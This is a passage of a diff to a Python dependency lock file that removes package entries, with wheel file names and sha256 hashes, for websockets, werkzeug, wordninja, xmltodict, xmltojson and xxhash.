"sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7f493881579c90fc262d9cdbaa05a6b54b3811c2f300766748db79f098db9940"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:47b099e1f4fbc95b701b6e85768e1fcdaf1630f3cbe4765fa216596f12310e2e"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f2b6de947f8c757db2db9c71527933ad0019737ec374a8a6be9a956786aaf9"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d08eb4c2b7d6c41da6ca0600c077e93f5adcfd979cd777d747e9ee624556da4b"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b826973a4a2ae47ba357e4e82fa44a463b8f168e1ca775ac64521442b19e87f"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:21c1fa28a6a7e3cbdc171c694398b6df4744613ce9b36b1a498e816787e28123"}, - {file = "websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f"}, - {file = "websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee"}, -] - -[[package]] -name = "werkzeug" -version = "3.1.6" -description = "The comprehensive WSGI web application library." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "werkzeug-3.1.6-py3-none-any.whl", hash = "sha256:7ddf3357bb9564e407607f988f683d72038551200c704012bb9a4c523d42f131"}, - {file = "werkzeug-3.1.6.tar.gz", hash = "sha256:210c6bede5a420a913956b4791a7f4d6843a43b6fcee4dfa08a65e93007d0d25"}, -] - -[package.dependencies] -markupsafe = ">=2.1.1" - -[package.extras] -watchdog = ["watchdog (>=2.3)"] - -[[package]] -name = "wordninja" -version = "2.0.0" -description = "Probabilistically split concatenated words using NLP based on English Wikipedia uni-gram frequencies." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "wordninja-2.0.0.tar.gz", hash = "sha256:1a1cc7ec146ad19d6f71941ee82aef3d31221700f0d8bf844136cf8df79d281a"}, -] - -[[package]] -name = "xmltodict" -version = "0.14.2" -description = "Makes working with XML feel like you are working with JSON" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"}, - {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"}, -] - -[[package]] -name = "xmltojson" -version = "2.0.3" -description = "A Python module and cli tool to quickly convert xml text or files into json" -optional = false -python-versions = "<4.0,>=3.7" -groups = ["main"] -files = [ - {file = "xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a"}, - {file = "xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d"}, -] - -[package.dependencies] -xmltodict = "0.14.2" - -[[package]] -name = "xxhash" -version = "3.6.0" -description = "Python binding for xxHash" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71"}, - {file = "xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b"}, - {file = "xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b"}, - {file = "xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb"}, - {file = "xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d"}, - {file = "xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a"}, - {file = "xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3"}, - {file = "xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd"}, - {file = "xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef"}, - {file = "xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7"}, - {file = "xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c"}, - {file = "xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae"}, - {file = "xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb"}, - {file = "xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c"}, - {file = "xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829"}, - {file = "xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec"}, - {file = "xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11"}, - {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd"}, - {file = "xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799"}, - {file = "xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392"}, - {file = "xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6"}, - {file = "xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702"}, - {file = "xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1"}, - {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf"}, - {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033"}, - {file = "xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec"}, - {file = "xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8"}, - {file = "xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746"}, - {file = "xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e"}, - {file = "xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7"}, - {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11"}, - {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5"}, - {file = "xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f"}, - {file = "xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad"}, - {file = "xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679"}, - {file = "xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4"}, - {file = "xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca"}, - {file = "xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93"}, - {file = "xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518"}, - {file = "xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119"}, - {file = "xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f"}, - {file = "xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95"}, - {file = "xxhash-3.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7dac94fad14a3d1c92affb661021e1d5cbcf3876be5f5b4d90730775ccb7ac41"}, - {file = "xxhash-3.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6965e0e90f1f0e6cb78da568c13d4a348eeb7f40acfd6d43690a666a459458b8"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:2ab89a6b80f22214b43d98693c30da66af910c04f9858dd39c8e570749593d7e"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4903530e866b7a9c1eadfd3fa2fbe1b97d3aed4739a80abf506eb9318561c850"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4da8168ae52c01ac64c511d6f4a709479da8b7a4a1d7621ed51652f93747dffa"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:97460eec202017f719e839a0d3551fbc0b2fcc9c6c6ffaa5af85bbd5de432788"}, - {file = "xxhash-3.6.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:45aae0c9df92e7fa46fbb738737324a563c727990755ec1965a6a339ea10a1df"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:0d50101e57aad86f4344ca9b32d091a2135a9d0a4396f19133426c88025b09f1"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:9085e798c163ce310d91f8aa6b325dda3c2944c93c6ce1edb314030d4167cc65"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:a87f271a33fad0e5bf3be282be55d78df3a45ae457950deb5241998790326f87"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:9e040d3e762f84500961791fa3709ffa4784d4dcd7690afc655c095e02fff05f"}, - {file = "xxhash-3.6.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b0359391c3dad6de872fefb0cf5b69d55b0655c55ee78b1bb7a568979b2ce96b"}, - {file = "xxhash-3.6.0-cp38-cp38-win32.whl", hash = "sha256:e4ff728a2894e7f436b9e94c667b0f426b9c74b71f900cf37d5468c6b5da0536"}, - {file = "xxhash-3.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:01be0c5b500c5362871fc9cfdf58c69b3e5c4f531a82229ddb9eb1eb14138004"}, - {file = "xxhash-3.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cc604dc06027dbeb8281aeac5899c35fcfe7c77b25212833709f0bff4ce74d2a"}, - {file = "xxhash-3.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:277175a73900ad43a8caeb8b99b9604f21fe8d7c842f2f9061a364a7e220ddb7"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cfbc5b91397c8c2972fdac13fb3e4ed2f7f8ccac85cd2c644887557780a9b6e2"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2762bfff264c4e73c0e507274b40634ff465e025f0eaf050897e88ec8367575d"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2f171a900d59d51511209f7476933c34a0c2c711078d3c80e74e0fe4f38680ec"}, - {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:780b90c313348f030b811efc37b0fa1431163cb8db8064cf88a7936b6ce5f222"}, - 